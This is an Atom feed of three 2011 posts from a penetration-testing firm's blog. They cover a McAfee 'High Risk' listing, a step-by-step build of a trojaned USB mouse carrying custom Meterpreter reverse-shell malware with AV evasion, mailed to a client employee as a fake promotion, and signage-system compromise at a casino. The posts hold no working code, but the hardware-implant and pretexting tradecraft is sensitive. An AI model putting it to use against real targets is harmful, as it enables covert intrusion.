<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-422477430134849438</id><updated>2011-11-27T16:36:56.218-08:00</updated><category term='Medical'/><category term='Phishing'/><category term='cost of security'/><category term='Con'/><category term='Netragard'/><category term='MSN'/><category term='Email'/><category term='cambium group security'/><category term='Cambium Group'/><category term='malware'/><category term='LLC.'/><category term='Social Engineering'/><category term='SNOsoft'/><category term='Penetration Testing'/><category term='penetration test'/><category term='advanced testing'/><category term='Web'/><category term='Virtual Host'/><category term='Chat'/><category term='ROI of good security'/><category term='LLC. CAMAS Advisory'/><category term='DISSECTING THE HACK: The Forbidd3m Network'/><category term='Hosting'/><category term='Hospital'/><category term='Powered by Cambium Group'/><category term='Fraud'/><category term='worm'/><category term='quality'/><category term='vulnerability assessment'/><category term='Risk'/><category term='Confidence'/><category term='Jayson E. Street'/><category term='Con Artist'/><category term='Yahoo'/><category term='Confidence Artist'/><category term='Facebook'/><category term='Outsourcing'/><category term='AIM'/><category term='Credit Union'/><title type='text'>Netragard's SNOsoft Research Team</title><subtitle type='html'>The Specialist in Anti-Hacking... delivering High Quality, Realistic Threat Network Penetration Testing services.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>66</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-928642630839745752</id><published>2011-11-15T15:20:00.001-08:00</published><updated>2011-11-15T15:20:50.918-08:00</updated><title type='text'>Netragard’s Badge of Honor (Thank you McAfee)</title><content type='html'>&lt;div class='posterous_autopost'&gt;&lt;p&gt;  &lt;p style="font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; line-height: 19px;"&gt;Here at Netragard We Protect You From People Like Us&amp;trade; and we mean it. &amp;nbsp;We don&amp;rsquo;t just run automated scans, massage the output, and draft you a report that makes you feel good. &amp;nbsp;That's what many companies do. &amp;nbsp;Instead, we "hack" you with a methodology that is driven by hands on research, designed to create realistic and elevated levels of threat. &amp;nbsp;Don&amp;rsquo;t take our word for it though; McAfee has helped us prove it to the world.&lt;/p&gt;  &lt;p style="font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; line-height: 19px;"&gt;Through their Threat Intelligence service, McAfee Labs listed Netragard as a &amp;ldquo;High Risk&amp;rdquo; due to the level of threat that we produced during a recent engagement. &amp;nbsp;Specifically, we were using a beta variant of our custom Meterbreter malware (not to be confused with Metasploit&amp;rsquo;s Meterpreter) during an Advanced Penetration Testing engagement. &amp;nbsp;The beta malware was identified and submitted to McAfee via our customers Incident Response process. &amp;nbsp;The result was that McAfee listed Netragard as a &amp;ldquo;High Risk&amp;rdquo;, which caught our attention (and our customers attention) pretty quickly.&lt;/p&gt;  &lt;div class="mceTemp mceIEcenter" style="text-align: center; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; line-height: 19px;"&gt;&lt;dl class="wp-caption aligncenter" style="margin-left: auto; margin-right: auto; background-color: #f3f3f3; padding-top: 4px; margin-top: 10px; margin-bottom: 10px; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-left-radius: 3px 3px; border: 1px solid #dddddd;"&gt;&lt;dt class="wp-caption-dt"&gt;&lt;a href="http://pentest.snosoft.com/2011/11/15/netragards-badge-of-honor-thank-you-mcafee/unknown/" rel="attachment wp-att-274"&gt;&lt;img class="size-large wp-image-274" title="McAfee High Risk" src="http://pentest.snosoft.com/wp-content/uploads//2011/11/Unknown-1024x661.png" height="661" alt="McAfee Flags Netragard as a High Risk" style="border-color: initial; padding: 0px; margin: 0px;" width="1024" /&gt;&lt;/a&gt;&lt;/dt&gt;&lt;dd class="wp-caption-dd" style="font-size: 11px; line-height: 17px; padding-top: 0px; padding-right: 4px; padding-bottom: 5px; padding-left: 4px; margin: 0px;"&gt;Badge of Honor&lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;  &lt;p style="font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; line-height: 19px;"&gt;McAfee was absolutely right; we are &amp;ldquo;High Risk&amp;rdquo;, or more appropriately, "High Threat", which in our opinion is critically important when delivering quality Penetration Testing services. &amp;nbsp;After all, the purpose of a Penetration Test (with regards to I.T security) is to identify the presence of points where a real threat can make its way into or through your IT Infrastructure. &amp;nbsp;Testing at less than realistic levels of threat is akin to testing a bulletproof vest with a squirt gun.&lt;/p&gt;  &lt;p style="font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; line-height: 19px;"&gt;Netragard uses a methodology that&amp;rsquo;s been dubbed Real Time Dynamic Testing&amp;trade; ("RTDT"). &amp;nbsp;Real Time Dynamic Testing&amp;trade; is a research driven methodology specifically designed to test the Physical, Electronic (networked and standalone) and Social attack surfaces at a level of threat that is slightly greater than what is likely to be faced in the real world. &amp;nbsp;Real Time Dynamic Testing&amp;trade; requires that our Penetration Testers be capable of reverse engineering, writing custom exploits, building and modifying malware, etc. &amp;nbsp;In fact, the first&amp;nbsp;rendition&amp;nbsp;of our Meterbreter was created as a product of of this methodology.&lt;/p&gt;  &lt;p style="font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; line-height: 19px;"&gt;Another important aspect of Real Time Dynamic Testing&amp;trade; is the targeting of attack surfaces individually or in tandem. &amp;nbsp;The &amp;ldquo;&lt;a href="http://pentest.snosoft.com/2011/06/24/netragards-hacker-interface-device-hid/" target="_blank"&gt;Netragard&amp;rsquo;s Hacker Interface Device&lt;/a&gt;&amp;rdquo; article is an example of how Real Time Dynamic Testing&amp;trade; was used to combine Social, Physical and Electronic attacks to achieve compromise against a hardened target. &amp;nbsp;Another article titled &amp;ldquo;&lt;a href="http://pentest.snosoft.com/2009/02/12/facebook-from-the-hackers-perspective/" target="_blank"&gt;Facebook from the hackers perspective&lt;/a&gt;&amp;rdquo; provides an example of socially augmented electronic attacks driven by our methodology.&lt;/p&gt;  &lt;p style="font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; line-height: 19px;"&gt;It is important that we thank McAfee for two reasons. &amp;nbsp;First we thank McAfee for responding to our request to be removed from the &amp;ldquo;High Risk&amp;rdquo; list so quickly because it was preventing our customers from being able to access our servers. &amp;nbsp;Second and possibly more important, we thank McAfee for putting us on their &amp;ldquo;High Risk&amp;rdquo; list in the first place. &amp;nbsp;The mere fact that we were perceived as a &amp;ldquo;High Risk&amp;rdquo; by McAfee means that we are doing our job right.&lt;/p&gt;  &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-928642630839745752?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/928642630839745752/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/11/here-at-netragard-we-protect-you-from.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/928642630839745752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/928642630839745752'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/11/here-at-netragard-we-protect-you-from.html' title='Netragard’s Badge of Honor (Thank you McAfee)'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1986098455649017061</id><published>2011-06-24T09:51:00.001-07:00</published><updated>2011-06-24T09:51:48.667-07:00</updated><title type='text'>Netragard's Hacker Interface Device (HID)</title><content type='html'>&lt;div class='posterous_autopost'&gt;&lt;p&gt;&lt;span style="font-family: Lucida Grande, Arial, Helvetica, sans-serif; line-height: 16px; font-size: 16px;"&gt;  &lt;div class="post" style="margin-top: 0px; margin-right: 0px; margin-bottom: 30px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: #131313; color: #cccccc; line-height: 22px; padding: 0px; border: 1px solid #1f2223;"&gt;  &lt;div class="entry" style="padding-top: 10px; padding-right: 20px; padding-bottom: 0px; padding-left: 20px; font-size: 13px; vertical-align: baseline; background-color: transparent; margin: 0px;"&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;We (&lt;a href="http://www.netragard.com/" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Netragard&lt;/a&gt;) recently completed an engagement for a client with a rather restricted scope. The scope included a single IP address bound to a firewall that offered no services what so ever. It also excluded the use of social attack vectors based on social networks, telephone, or email and disallowed any physical access to the campus and surrounding areas. With all of these limitations in place, we were tasked with penetrating into the network from the perspective of a remote threat, and succeeded.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;The first method of attack that people might think of when faced with a challenge like this is the use of the traditional autorun malware on a USB stick. Just mail a bunch of sticks to different people within the target company and wait for someone to plug it in; when they do its game over,&lt;a href="http://www.youtube.com/watch?v=rI-pct3zy18" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;they&amp;rsquo;re infected&lt;/a&gt;. That trick worked great back in the day but not so much any more. The first issue is that most people are well aware of the USB stick threat due to the many published&lt;a href="http://www.eetimes.com/electronics-news/4080241/Security-alert-Beware-of-USB-memory-sticks" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;articles about the subject&lt;/a&gt;. The second is that more and more companies are pushing out group policies that disable the autorun feature in Windows systems. Those two things don&amp;rsquo;t eliminate the USB stick threat, but they certainly have a significant impact on its level of success and we wanted something more reliable.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;Enter PRION, the evil HID.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;img class="aligncenter size-full wp-image-228" title="prion" src="http://pentest.snosoft.com/wp-uploads/2011/06/prion.png" height="345" alt="prion" style="margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; font-size: 13px; vertical-align: baseline; background-color: transparent; display: block; padding: 0px;" width="454" /&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;A prion is an infectious agent composed of a protein in a misfolded form. In our case the prion isn&amp;rsquo;t composed of proteins but instead is composed of electronics which include a&amp;nbsp;&lt;a href="http://www.pjrc.com/teensy/" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;teensy microcontroller&lt;/a&gt;, a micro USB hub (small one from RadioShack), a mini USB cable (we needed the ends) a micro flash drive (made from one of our Netragard USB Streamers), some home-grown malware (certainly not designed to be destructive), and a USB device like a&amp;nbsp;&lt;a href="http://www.google.com/search?q=USB+toys&amp;amp;um=1&amp;amp;ie=UTF-8&amp;amp;tbm=isch&amp;amp;source=og&amp;amp;sa=N&amp;amp;hl=en&amp;amp;tab=wi&amp;amp;biw=1920&amp;amp;bih=1061" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;mouse, missile turret, dancing stripper, chameleon&lt;/a&gt;, or whatever else someone might be tempted to plug in. When they do plug it in, they will be infected by our custom malware and we will use that point of infection to compromise the rest of the network.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;For the purposes of this engagement we choose to use a fancy&amp;nbsp;&lt;a href="http://www.google.com/search?q=logitech+mouse&amp;amp;hl=en&amp;amp;safe=off&amp;amp;authuser=0&amp;amp;biw=1920&amp;amp;bih=1061&amp;amp;prmd=ivnsr&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;ei=qu4DTtuuA8W_gQfF1s20DQ&amp;amp;sa=X&amp;amp;oi=mode_link&amp;amp;ct=mode&amp;amp;cd=2&amp;amp;sqi=2&amp;amp;ved=0CBsQ_AUoAQ" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;USB logitech mouse&lt;/a&gt;&amp;nbsp;as our Hacker Interface Device / Attack Platform. To turn our logitech Human Interface Device into a Hacker Interface Device, we had to make some modifications. The first step of course was to remove the screw from the bottom of the mouse and pop it open. Once we did that we disconnected the USB cable from the circuit board in the mouse and put that to the side. Then we proceed to use a drummel tool to shave away the extra plastic on the inside cover of the mouse. (There were all sorts of tabs that we could sacrifice). The removal of the plastic tabs was to make room for the new hardware.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;Once the top of the mouse was gutted and all the unnecessary parts removed we began to focus on the USB hub. The first thing we had to do was to extract the board from the hub. Doing that is a lot harder than it sounds because the hub that we chose was glued together and we didn&amp;rsquo;t want to risk breaking the internals by being too rough. After about 15 minutes of prying with a small screwdriver (and repeated accidental hand stabbing) we were able to pull the board out from the plastic housing. We then proceeded to strip the female USB connectors off of the board by heating their respective pins to melt the solder (careful not to burn the board). Once those were extracted we were left with a naked USB hub circuit board that measured about half an inch long and was no wider than a small bic lighter.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;With the mouse and the USB board prepared we began the process of soldering. The first thing that we did was to take the mini USB cable, cut one of the ends off leaving about 1 inch of wire near the connector. Then we stripped all plastic off of the connector and stripped a small amount of wire from the 4 internal wires. We soldered those four wires to the USB board making sure to follow the&lt;a href="http://pinouts.ru/Slots/USB_pinout.shtml" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;right pinout pattern&lt;/a&gt;. This is the cable that will plug into the teensy mini USB port when we insert the teensy microcontroller.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;Once that was finished we took the USB cable that came with the mouse and cut the circuit board connector off of the end leaving 2 inchs of wire attached. We stripped the tips of the 4 wires still attached to the connector and soldered those to the USB hub making sure to follow the right pinout patterns mentioned above. This is an important cable as its the one that connects the USB hub to the mouse. If this cable is not soldered properly and the connections fail, then the mouse will not work. We then took the other piece of the mouse cable (the longer part) and soldered that to the USB board. This is the cable that will connect the mouse to the USB port on the computer.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;At this point we have three cables soldered to the USB hub. Just to recap those cables are the mouse connector cable, the cable that goes from the mouse to the computer, and the mini USB adapter cable for the teensy device. The next and most challenging part of this is to solder the USB flash drive to the USB hub. This is important because the USB flash drive is where we store our malware. If the drive isn&amp;rsquo;t soldered on properly then we won&amp;rsquo;t be able to store our malware on the drive and the the attack would be mostly moot. ( We say mostly because we could still instruct the mouse to fetch the malware from a website, but that&amp;rsquo;s not covert.)&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;To solder the flash drive to the USB hub we cut about 2 inches of cable from the mini USB connector that we stole the end from previously. We stripped the ends of the wires in the cable and carefully soldered the ends to the correct points on the flash drive. Once that was done we soldered the other ends of the cable to the USB hub. At that point we had everything soldered together and had to fit it all back into the mouse. Assembly was pretty easy because we were careful to use as little material as possible while still giving us the flexibility that we needed. We wrapped the boards and wires in single layers of electrical tape as to avoid any shorts. Once everything was we plugged in we tested the devices. The USB drive mounted, the teensy card was programmable, and the mouse worked.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;Time to give prion the ability to infect&amp;hellip;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;We learned that the client was using Mcafee as their antivirus solution because one of their employees was complaining about it on Facebook. Remember, we weren&amp;rsquo;t allowed to use social networks for social engineering but we certainly were allowed to do reconnaissance against social networks. With Mcafee in our sights we set out to create custom malware for the client (as we do for any client and their respective antivirus solution when needed). We wanted our malware to be able to connect back to&amp;nbsp;&lt;a href="http://www.metasploit.com/" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Metasploit&lt;/a&gt;&amp;nbsp;because we love the functionality, we also wanted the capabilities provided by&amp;nbsp;&lt;a href="http://www.nologin.org/Downloads/Papers/meterpreter.pdf" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;meterpreter&lt;/a&gt;, but we needed more than that. We needed our malware to be fully undetectable and to subvert the &amp;ldquo;Do you want to allow this connection&amp;rdquo; dialogue box entirely. You can&amp;rsquo;t do that with encoding&amp;hellip;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;To make this happen we created a meterpreter C array with the windows/meterpreter/reverse_tcp_dns payload. We then took that C array, chopped it up and injected it into our own wrapper of sorts. The wrapper used an undocumented (0-day) technique to completely subvert the dialogue box and to evade detection by Mcafee. When we ran our tests on a machine running Mcafee, the malware ran without a hitch. We should point out that our ability to evade Mcafee isn&amp;rsquo;t any indication of quality and that we can evade any Antivirus solution using similar custom attack methodologies. After all, its impossible to detect something if you don&amp;rsquo;t know what it is that you are looking for (It also helps to have a team of researchers at our disposal).&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;Once we had our malware built we loaded it onto the flash drive that we soldered into our mouse. Then we wrote some code for the teensy microcontroller to launch the malware 60 seconds after the start of user activity. Much of the code was taken from&amp;nbsp;&lt;a href="http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Adrian Crenshaw&amp;rsquo;s website&lt;/a&gt;&amp;nbsp;who deserves credit for giving us this idea in the first place. After a little bit of debugging, our evil mouse named prion was working flawlessly.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;strong style="font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px; margin: 0px;"&gt;Usage:&lt;/strong&gt;&amp;nbsp;Plug mouse into computer, get pwned.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;The last and final step here was to ship the mouse to our customer. One of the most important aspects of this was to repack the mouse in its original package so that it appeared unopened. Then we used&amp;nbsp;&lt;a href="http://www.jigsaw.com/" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Jigsaw&lt;/a&gt;&amp;nbsp;to purchase a list of our client&amp;rsquo;s employes. We did a bit of reconnaissance on each employee and found a target that looked ideal. We packaged the mouse and made it look like a promotional gadget, added fake marketing flyers, etc. then shipped the mouse. Sure enough, three days later the mouse called home.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;img class="aligncenter size-full wp-image-231" title="pwned" src="http://pentest.snosoft.com/wp-uploads/2011/06/pwned.png" height="267" alt="pwned" style="margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; font-size: 13px; vertical-align: baseline; background-color: transparent; display: block; padding: 0px;" width="885" /&gt;&lt;/p&gt;  &lt;div class="twitterbutton" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 5px; font-size: 13px; vertical-align: baseline; background-color: transparent; float: right; margin: 0px;"&gt;&lt;iframe scrolling="no" src="http://platform0.twitter.com/widgets/tweet_button.html?_=1308933258950&amp;amp;count=none&amp;amp;id=twitter_tweet_button_0&amp;amp;lang=en&amp;amp;original_referer=http%3A%2F%2Fpentest.snosoft.com%2F2011%2F06%2F24%2Fnetragards-hacker-interface-device-hid%2F&amp;amp;related=greybrimstone%3APenetration%20Testing&amp;amp;text=Netragard%E2%80%99s%20Hacker%20Interface%20Device%20(HID).&amp;amp;url=http%3A%2F%2Fpentest.snosoft.com%2F2011%2F06%2F24%2Fnetragards-hacker-interface-device-hid%2F&amp;amp;via=Netragard" frameborder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;  &lt;p /&gt;  &lt;/div&gt;  &lt;/div&gt;  &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1986098455649017061?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1986098455649017061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/06/netragard-hacker-interface-device-hid.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1986098455649017061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1986098455649017061'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/06/netragard-hacker-interface-device-hid.html' title='Netragard&amp;#39;s Hacker Interface Device (HID)'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5794997457929403915</id><published>2011-02-25T11:40:00.001-08:00</published><updated>2011-02-25T11:40:13.202-08:00</updated><title type='text'>Netragard Signage Snatching</title><content type='html'>&lt;div class='posterous_autopost'&gt;&lt;p&gt;  &lt;p&gt;Recently Netragard has had a few discussions with owners and operators of sports arenas, with the purpose of identifying methods in which a malicious hacker could potentially disrupt a sporting event, concert, or other large scale and highly visible event.&lt;/p&gt;  &lt;p&gt;During the course of the these conversations, the topic of discussion shifted from network exploitation to social engineering, with a focus on compromise of the digital signage systems.&amp;nbsp; Until recently, even I hadn&amp;rsquo;t thought about how extensively network controlled signage systems are used in facilities like casinos, sports arenas, airports, and roadside billboards.&amp;nbsp; That is, until our most recent casino project.&lt;/p&gt;  &lt;p&gt;Netragard recently completed a Network Penetration Test and Social Engineering Test for a large west coast casino, with spectacular results. Not only were our engineers able to gain the keys to the kingdom, they were also able to gain access to the systems that had supervisory control for every single digital sign in the facility.&amp;nbsp; Some people may think to themselves, &amp;ldquo;ok, what&amp;rsquo;s the big deal with that?&amp;rdquo;.&amp;nbsp; The answer is simple:&amp;nbsp; Customer perception and corporate image.&lt;/p&gt;  &lt;p&gt;Before I continue on, let me provide some background; Early in 2008, there were two incidents in California where two on-highway digital billboards were compromised, and their displays changed from the intended display.&amp;nbsp; While both of these incidents were small pranks in comparison to what they could have done, the effect was remembered by those who drove by and saw the signs.&amp;nbsp; (&lt;a href="http://pentest.netragard.com/%3Ehttp://billboardliberation.com/HQ.html" target="_blank"&gt;Example A&lt;/a&gt;,&amp;nbsp;&lt;a href="http://www.engadget.com/2008/03/25/clear-channel-digital-billboards-in-socal-hax0r3d/" target="_blank"&gt;Example B&lt;/a&gt;)&lt;/p&gt;  &lt;p&gt;Another recent billboard hack in Moscow, Russia, wasn&amp;rsquo;t as polite as the pranksters in California.&amp;nbsp; A hacker was able to gain control of a billboard in downtown Moscow (worth noting, Moscow is the 7th largest city in the world), and after subsequently gaining access, looped a video clip of pornographic material. (&lt;a href="http://www.cbsnews.com/stories/2010/01/15/world/main6100772.shtml" target="_blank"&gt;Example C&lt;/a&gt;) Imagine if this was a sports organization, and this happened during a major game.&lt;/p&gt;  &lt;p&gt;Brining this post back on track, let&amp;rsquo;s refocus on the casino and the potential impact of signage compromise.&amp;nbsp; After spending time in the signage control server, we determined that there were over 40 unique displays available to control, some of which were over 100&amp;Prime; in display size.&amp;nbsp; WIth customer permission, we placed a unique image on a small sign for proof of concept purposes (go google &amp;ldquo;stallowned&amp;rdquo;).&amp;nbsp; This test, coupled with an impact audit, clearly highlighted to the casino that ensuring the security of their signage systems was nearly as paramount to securing their security systems, cage systems, and domain controllers. &amp;nbsp; All the domain security in the world means little to a customer if they&amp;rsquo;re presented with disruptive material on the signage during their visit to the casino.&amp;nbsp; A compromise of this nature could cause significant loss or revenue, and cause a customer to never re-visit the casino.&lt;/p&gt;  &lt;p&gt;I also thought it pertinent for the purpose of this post to share another customer engagement story.&amp;nbsp; This story highlights how physical security can be compromised by a combination of social engineering and network exploitation, thus opening an additional risk vector that could allow for compromise of the local network running the digital display systems.&lt;/p&gt;  &lt;p&gt;Netragard was engaged by a large bio-sciences company in late 2010 to assess the network and physical security of multiple locations belonging to a business unit that was a new acquisition. &amp;nbsp; During the course of this engagement, Netragard was able to take complete control of their network infrastructure remotely, as is the case in most of our engagements. &amp;nbsp;More so, our engineers were able to utilize the social engineering skills and &amp;ldquo;convince&amp;rdquo; the physical site staff to grant them building access. &amp;nbsp;Once passing this first layer of physical access, by combining social and network exploitation, they were subsequently able to gain access to sensitive labs and document storage rooms. &amp;nbsp;These facilities/rooms were key to the organizations intellectual property, and on-going research. &amp;nbsp;Had our engineers been hired by a competing company or other entity, there would have been a 100% chance that the IP (research data, trials data, and so forth) could have been spirited off company property and into hands unknown.&lt;/p&gt;  &lt;p&gt;By combining network exploitation and social engineering, we&amp;rsquo;ve postulated to the sports arena operators that Netragard has a high probability of gaining access to the control systems for their digital signage.&amp;nbsp; Inevitably, during these discussions the organizations push back stating that their facilities have trained security staff and access control systems.&amp;nbsp; To that we inform them that the majority of sports facilities staff are more attuned to illicit access attempts in controlled areas, but only during certain periods of operation, such as active games, concerts, and other large scale events. &amp;nbsp; During non-public usage hours though, there&amp;rsquo;s a high probability that a skilled individual could gain entry to access controlled areas during a private event, or through beach of trust, such as posing as a repair technician, emergency services employee, or even a facility employee.&lt;/p&gt;  &lt;p&gt;One area of concern for any organization, whether they be a football organization, Fortune 100 company, or a mid-size business, is breach of trust with their consumer base. &amp;nbsp;For a major sports organization, the level of national exposure and endearment far exceeds the exposure most Netragard customers have to the public.&amp;nbsp; Because of this extremely high national exposure, a sports organization and its arena are a prime target for those who may consider highly visible public disruption of games a key tool in furthering an socio-political agenda.&amp;nbsp; We&amp;rsquo;re hopeful that these organizations will continue to take a more serious stance to ensure that their systems and public image are as protected as possible.&lt;/p&gt;  